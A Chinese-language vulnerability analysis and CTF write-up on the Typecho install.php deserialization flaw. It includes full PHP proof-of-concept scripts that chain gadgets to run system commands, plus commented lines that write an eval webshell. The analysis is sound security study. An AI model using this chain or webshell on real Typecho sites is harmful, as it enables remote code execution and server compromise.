Typecho反序列化漏洞分析
0x00 前言
在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用现成的poc 打,方便是方便,但是并没有深入了解这个漏洞。还是想深入了解一下这个漏洞,所以本着好奇和学习的态度,遂自己动手分析了一下 Typecho 的反序列化漏洞,加深理解
0x01 环境准备
首先 git clone 到本地,然后phpstorm 打开,
git reset hard 到漏洞修复之前的commit
0x02 审计过程
首先在install.php 开头就做出了两个判断,需要finish 参数以及refer头要是本站的值
核心漏洞处:
第一行直接反序列化Typecho_Cookie::get(’__typecho_config’),没有进行任何过滤
跟进Typecho_Cookie::get() 函数
发现此函数是用来取cookie 中的值的,但是如果对应的值没有,如果post中设置了也会成功取出。
然后取出值之后 new 了一个Typecho_Db 对象
跟进Typecho_Db 构造函数:
发现了直接把 传入进来的 $adapterName 进行了字符串拼接操作,那么如果$adapterName 是一个对象的话,就会触发__toString()魔术方法
所以开始全局搜索fucntiong _toString() :
找到三个
看了看Config.php 中的和 Query.php 中的都不怎么好利用,
query.php:
config.php
config.php里面感觉可以利用__sleep() 函数,但是全局搜索_sleep() ,没找到__sleep()
Feed.php中的这个
还有这个:
发现使用了 $item[‘author’] ->screenName , 而这个 $item 是 $this->_items 里面循环出来的,是可以控制的,那我们就可以设法使用__get() 魔术方法,将$item[‘author’] 赋值为一个对象,那么对象中的screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
所以接下来全局搜索 function __get(
共找到7个 :
看了看其他六个好像并不能直接利用,然后Request.php 里面这个:
跟进$this->get
函数最后调用了一个_applyFilter() 函数,跟进
发现敏感函数 call_user_func ,而且里面的两个参数 $filter 来自 $this->_filter 循环出来的 ,$value 则是由上面get() 函数中传参进来的,也是可控的。那么我们就可以构造$\filter 为 system , $value 为 whoami ,就可以命令执行了
Poc :
<?php
class Typecho_Request
{private $_filter = array('system');private $_params = array('screenName'=>'whoami');//也可以直接写webshell//windows://private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');// linux://private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const EOL = "\n";const DATE_RFC822 = 'r';private $_baseUrl ='1';private $_feedUrl ='1';private $_lang = '1';private $_subTitile = '1';private $_type = 'RSS 2.0';private $_items ;public function __construct(){// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值$this->_items = array(array('author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',)); }}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';echo base64_encode(serialize($config));
0x03 ob_end_clean() 引起的问题
但是直接用这个poc 打 发现并没有返回结果:
查阅资料 :
https://www.anquanke.com/post/id/155306#h2-2中说到是因为开启了ob_start()
install. php 中的ob_start()
在Common.php中,存在一个异常捕获函数,会清空缓冲区
在源代码中其实就是对应:
把他注释掉,成功返回命令结果
但是实际情况中不能直接去注释源代码,所以根据 https://www.anquanke.com/post/id/155306#h2-2 里说的,我们想办法让程序直接报错,退出不进行异常捕获,比如下面这里
假如把$itemp[‘content’] 设置成 数组(一开始试着把$item[‘excerpt’]设置为数组,但是由于前面有一个strip_tags(),而strip_tags 处理一个数组不会报错,只会返回worring ),那么对数组进行字符串拼接操作就会报错 退出,程序就不会运行到异常捕捉那里,自然也不会进行ob_end_clean() 了,所以修改之后的payload为:
<?php
class Typecho_Request
{private $_filter = array('system');private $_params = array('screenName'=>'whoami');//也可以直接写webshell//windows://private $_params = array('screenName'=>'echo "<?php eval($_REQUEST[1]);"> ke.php');// linux://private $_params = array('screenName'=>'echo "<?php eval(\$_REQUEST[1]);"> ke.php');
}
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const EOL = "\n";const DATE_RFC822 = 'r';private $_baseUrl ='1';private $_feedUrl ='1';private $_lang = '1';private $_subTitile = '1';private $_type = 'RSS 2.0';private $_items ;public function __construct(){// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值$this->_items = array(array('author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',// 添加 content 'content' => array(1,2),)); }}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';echo base64_encode(serialize($config));
成功命令执行:
0x04 总结:
1.在找反序列化利用链的时候,本次使用了__toString() ,__get() 魔术方法,关于找__get() 触发的地方,可以在相应的函数中搜索 ‘->’ 然后如果两边都是可控的话,就可以把左边设置为对象,后边设置为一个不存在的属性。
2.另外 assert() 在php 7 中变成了一个语言结构,在call_user_function 中就不能设置 assert 了,所以可以考虑设置 system 来执行系统命令
3.遇到异常捕捉中有ob_end_clean() 导致不能回显的话,可以设法让php 报错,不能执行到异常捕捉的地方,来实现绕过。
0x05 [GKCTF2020] EZ三剑客 EzTypecho
回到这道题目中来,题目加了一个session 判断,要求需要有session
我们知道在 php 中 如果上传文件的同时 带一个带上php_session_upload_progress (session.upload_progress.name 值)字段,并且cookie带上PHPSESSID (session.name 值) ,那么服务端会自动为我们创建一个名为sess_加上我们cookie中带上的PHPSESSID值 的 文件。
其实只要session.use_strict_mode 是关闭的(默认值是 0 ) ,然后在cookie 中 带上PHPSESSID(session.name 的值) 就可以实现让服务端产生session 文件。
结合我们利用上面的poc ,发送如下数据包,成功命令执行
也可以直接用上面脚本生成webshell
然后蚁剑连接,成功得到flag:
Typecho反序列化漏洞分析相关推荐
- Fastjson 1.2.68版本反序列化漏洞分析篇
点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | ale_wong@云影实验室 来源 | htt ...
- tomcat源码分析_CVE-2020-9484 tomcat session反序列化漏洞分析
作者:N1gh5合天智汇 title: CVE-2020-9484 tomcat session反序列化漏洞分析 tags: CVE,Tomcat,反序列化 grammar_cjkRuby: true ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- commons-collections反序列化漏洞分析——远程代码执行
commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...
- MySQLJDBC反序列化漏洞分析
JDBC反序列化漏洞 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数 ...
- XStream反序列化漏洞分析
XStream反序列化漏洞分析 XStream反序列化漏洞分析 代理模式 EventHandler XStream 生成payload XStream流程分析 写在最后 XStream反序列化漏洞分析 ...
- thinkphp5.0.24反序列化漏洞分析
thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...
- typecho反序列化漏洞复现
typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...
- typecho反序列化漏洞(详细过程)
typecho反序列化 菜鸡的第一条链子,酌情参考 搭建环境 利用phpstudy+phpstrom搭建环境调试(注意php版本大于5.4) 开始 漏洞起始点 前提:get方法传?finish=1,r ...
最新文章
- 清华学长免费分享Java基础核心知识点基础篇(2)
- 【PAT (Advanced Level) Practice】1093 Count PAT‘s (25 分)
- python的一些基本概念知识和面试题
- IDEA的查询引用、调用关系图的功能
- JQuery-学习笔记01【基础——JQuery基础】
- DataWorks功能实践速览
- OPenCV学习笔记八-图像的滤波
- Web2.0时代,RSS你会用了吗?(技术实现总结)(转载)
- 安卓4.4玩java_Android4.4运行过程中闪退java.lang.NoClassDefFoundError
- 今天的弹指一瞬间的飞鸽传书
- ospf避免环路_13、OSPF的选路规则及路由控制
- 2019最新盘点:适合中小型企业的财务系统软件
- 使用YASM编程 - 06
- 计算机初操作员培训大纲,计算机初级培训大纲.doc
- 数仓治理:数据地图长什么样?
- HTML5编写的小游戏
- 情人节翻译软件测试,TechPowerUp
- Java中判断两个日期是否在同一个月
- 关于导数非常的好文章
- 悼念一位腾讯游戏大佬。。
热门文章
- web项目开发人员配比_Web设计人员和开发人员使用的前25个资源
- 除了Axure,还有哪些原型设计工具
- python爬取股票平均成本怎么算_Python-多个股票的投资组合分析,对,进行
- 什么是BCD码以及区分二进制与BCD码
- 新编大学英语5翻译整理
- 360强行卸载金山网盾案败诉 被判赔款30万元
- 计算机硬盘更换图解,轻松更换电脑硬盘无需重装系统的方法
- openEuler ceph mgr dashboard 无法登陆 报错 401 Unauthorized You are not authorized to access that resource
- Mac电脑管理Android手机(传输文件)
- JavaWeb实战项目之乐购商城V1.0(一)-------环境搭建